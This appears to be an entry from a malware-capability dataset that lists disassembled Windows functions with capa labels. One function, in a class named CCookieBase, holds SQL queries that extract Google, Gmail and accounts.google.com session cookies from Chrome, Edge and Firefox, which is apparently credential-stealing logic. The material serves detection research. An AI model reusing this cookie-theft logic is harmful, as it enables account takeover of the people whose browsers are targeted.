joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411955
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x42ebc8
cmp edx, dword [eax]
je 0x411977
add eax, 8
inc ecx
cmp eax, 0x42ec58
jl 0x411968
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x42ebc8]
jne 0x411aa5
mov eax, dword [0x436dd4]
cmp eax, 1
je 0x411a7f
test eax, eax
jne 0x4119a8
cmp dword [0x42e324], 1
je 0x411a7f
cmp edx, 0xfc
je 0x411aa5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4119df
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00410a70
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040dda0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x411a22
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040dda0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x425e1c
push edi
call fcn.0040c860
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00410a70
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00410a80
lea eax, [ebp - 0xa0]
push 0x425dfc
push eax
call fcn.00410a80
push dword [esi + 0x42ebcc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00410a80
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00413b70
add esp, 0x2c
pop edi
jmp 0x411aa5
lea eax, [ebp + 8]
lea esi, [esi + 0x42ebcc]
push 0
push eax
push dword [esi]
call fcn.0040dda0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x418ad0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040ccd0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x418b9b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x418b9b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x418b4e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x418b59
or bh, 8
and edi, 0x8000000
je 0x418b74
mov eax, dword [0x43853c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x418b9b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x418f70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x418f9b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x418fbf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x418fda
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x41a9d9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x41a9fb
cmp dword [edi + 0x3c], 0
jne 0x41a9fb
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00420831
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.0041aa28
pop edi
pop esi
pop ebx
ret 8

Function at 0x41ad68
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x422528
call fcn.0040cf64
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00420831
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x41ada7
call fcn.00420831
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41adb5
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x41adc3
or eax, 0xffffffff
jmp 0x41aeab
mov ecx, esi
call fcn.0041acde
mov dword [ebp - 0x14], eax
call fcn.0041baf0
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x41adfa
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x41adfa
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.0041baa4
push dword [ebp - 0x14]
call fcn.0041b5f2
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.0041aa76
cmp eax, edi
je 0x41ae6d
test byte [esi + 0x24], 0x10
je 0x41ae3b
push 4
mov ecx, esi
pop ebx
call fcn.0041dd05
test ah, 1
je 0x41ae33
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.0041d67e
cmp dword [esi + 0x1c], edi
je 0x41ae6d
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0041dda1
jmp 0x41ae6d
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x41ae81
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x41ae9a
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x41ae9a
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.0041ad18
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x41d52c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x41d56e
call fcn.00420831
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x41d56e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x41d565
xor eax, eax
jmp 0x41d576
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041d57c
pop edi
pop esi
pop ebx
ret 4

Function at 0x420fcb
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x420ff9
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x421017
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00420f31
jmp 0x421017
mov eax, dword [esi + 0x14]
test eax, eax
je 0x421017
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00420f31
test edi, edi
mov eax, edi
jne 0x421001
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10002e60
Capabilities:
Encode data using xor
Encrypt data using aes via x86 extensions

Disassembly:
push ebp
push ebx
test eax, eax
je 0x10003380
test edx, edx
je 0x10003380
call fcn.10002e77
mov eax, 0xffffffff
pop ebx
pop ebp
ret
Function at 0x10013d30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101117c8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1060f098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x10013e5e
cmp byte [ebx + 0x3d], 0
je 0x10013e5e
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x10013d89
xor al, al
jmp 0x10013e60
push 0
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.10014930
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x28]
cmovae edi, dword [ebp - 0x28]
lea esi, [ebp - 0x28]
cmovae esi, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x10013def
sub eax, 1
je 0x10013df3
mov ecx, dword [ebp - 0x14]
sub eax, 2
je 0x10013e46
xor bl, bl
jmp 0x10013e48
mov byte [ebx + 0x3d], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x10013e28
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.100f082d
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp esi, eax
jne 0x10013deb
cmp byte [ebx + 0x3d], 0
je 0x10013e46
test esi, esi
jne 0x10013db1
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.10012830
jmp 0x10013dae
mov bl, 1
cmp ecx, 0x10
jb 0x10013e5a
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.10011bd0
mov al, bl
jmp 0x10013e60
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100d22d5
mov esp, ebp
pop ebp
ret
Function at 0x10014370
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101118b6
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1060f098]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.100d22e6
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.100bed4c
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10014da0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1011195a
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1060f098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x28], esi
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x2c], esi
call fcn.100befcb
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x10014e60
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.std::exception.0
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], str.bad_locale_name
xorps xmm0, xmm0
mov byte [ebp - 0x14], 1
push eax
movq qword [ebp - 0x20], xmm0
call fcn.100ea974
add esp, 8
mov dword [ebp - 0x24], vtable.std::runtime_error.0
lea eax, [ebp - 0x24]
push 0x1060d678
push eax
call fcn.100eb55a
push edi
push esi
call fcn.100bee4f
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100d22d5
mov esp, ebp
pop ebp
ret 4
Function at 0x10016770
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x1060f098]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
mov dword [esi], vtable.CCookieBase.0
mov dword [esi + 0x838], 0xf
mov dword [esi + 0x834], 0
mov byte [esi + 0x824], 0
mov dword [esi + 0x850], 0xf
mov dword [esi + 0x84c], 0
mov byte [esi + 0x83c], 0
mov dword [esi + 0x868], 0xf
mov dword [esi + 0x864], 0
mov byte [esi + 0x854], 0
call fcn.100179d0
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.100eb400
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call fcn.10018080
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push 0
push 0
push 0x104
lea eax, [esi + 0x86c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push str.NVIDlAgmck
lea eax, [esi + 0x61c]
push eax
lea eax, [ebp - 0x414]
push str._s_sTEMP
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x10016875
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectory]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100d22d5
mov esp, ebp
pop ebp
ret

Function at 0x10016e50
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
cmp dword [ecx + 0x838], 0x10
push ebx
push esi
lea esi, [ecx + 0x824]
push edi
jb 0x10016e69
mov ecx, dword [esi]
jmp 0x10016e6b
mov ecx, esi
mov ebx, dword [esi + 0x10]
mov eax, 6
cmp ebx, eax
mov edx, str.chrome
cmovb eax, ebx
push eax
call fcn.10018630
mov edi, dword [ebp + 0x14]
add esp, 4
test eax, eax
jne 0x10016e94
cmp ebx, 6
jb 0x10016e94
jbe 0x10016ea4
mov edx, str.edge
mov ecx, esi
call fcn.10018560
test al, al
je 0x10016eb0
push str.select_name_creation_utc_value_host_key_from_cookies_WHERE_host_key__.google.com_or_host_key__mail.google.com_or_host_key__accounts.google.com_ORDER_BY_creation_utc
mov ecx, edi
call fcn.10010f30
cmp dword [esi + 0x14], 0x10
lea ebx, [esi + 0x10]
jb 0x10016ebb
mov esi, dword [esi]
mov ebx, dword [ebx]
mov eax, 7
cmp ebx, eax
mov edx, str.firefox
mov ecx, esi
cmovb eax, ebx
push eax
call fcn.10018630
add esp, 4
test eax, eax
jne 0x10016eee
cmp ebx, 7
jb 0x10016eee
ja 0x10016eee
push str.select_name_creationTime_value_host_from_moz_cookies_WHERE_host__.google.com_or_host__accounts.google.com_or_host__mail.google.com_ORDER_BY_creationTime
mov ecx, edi
call fcn.10010f30
cmp dword [edi + 0x14], 0x10
jb 0x10016ef6
mov edi, dword [edi]
mov ecx, dword [ebp + 0xc]
mov edx, edi
push 0
push dword [ebp + 0x10]
push 0
push 0
push 0xffffffffffffffff
call fcn.10096740
add esp, 0x14
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x10017aa0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x1060f098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x10017b13
test esi, esi
je 0x10017b13
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10017b13
mov edi, dword [sym.imp.SHLWAPI.dll_StrCmpIW]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
push str.Explorer.exe
lea eax, [ebp - 0x20c]
push eax
call edi
test eax, eax
je 0x10017b29
lea eax, [ebp - 0x230]
push eax
push esi
call ebx
test eax, eax
jne 0x10017af3
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100d22d5
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x228]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100d22d5
mov esp, ebp
pop ebp
ret 4
Function at 0x10017b50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10111d58
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x1060f098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], 0
mov esi, dword [ebp + 0x1c]
inc esi
push esi
call fcn.100d232c
push esi
mov ebx, eax
push 0
push ebx
mov dword [ebp - 0x40], ebx
call fcn.100eb400
cmp dword [ebp + 0x20], 0x10
lea ecx, [ebp + 0xc]
cmovae ecx, dword [ebp + 0xc]
push ecx
push esi
push ebx
call fcn.100f0b15
mov edi, ebx
add esp, 0x1c
lea ecx, [edi + 1]
nop dword [eax + eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x10017bc0
movups xmm0, xmmword [str.0dda5a8d_e4c2_477d_85df_fcb611a62ffe]
mov eax, dword [0x105fa008]
lea ebx, [ebp - 0x38]
mov dword [ebp - 0x18], eax
sub edi, ecx
mov al, byte [0x105fa00c]
lea ecx, [ebx + 1]
movups xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0x14], al
movups xmm0, xmmword [0x105f9ff8]
movups xmmword [ebp - 0x28], xmm0
mov al, byte [ebx]
inc ebx
test al, al
jne 0x10017bf5
push 0x104040
sub ebx, ecx
call fcn.100d232c
add esp, 4
mov esi, eax
lea eax, [ebp - 0x38]
push ebx
push eax
push esi
call fcn.1003e260
push edi
push dword [ebp - 0x40]
push esi
call fcn.1003e300
xor ebx, ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x44], eax
cmp eax, 0xffffffff
jne 0x10017c5c
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 3
jl 0x10017c24
xor edi, edi
jmp 0x10017c9a
mov ebx, dword [ebp - 0x40]
lea ecx, [ebp - 0x3c]
push 0
push ecx
push edi
push ebx
push eax
mov dword [ebp - 0x3c], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x44]
test eax, eax
jne 0x10017c86
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
jmp 0x10017c9a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.100d2327
add esp, 4
mov edi, 1
push esi
call fcn.100d2327
mov ecx, dword [ebp + 0x20]
add esp, 4
cmp ecx, 0x10
jb 0x10017cb8
inc ecx
push ecx
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.10011bd0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100d22d5
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x100183d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101118b6
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x1060f098]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.100d22e6
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.100bed4c
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret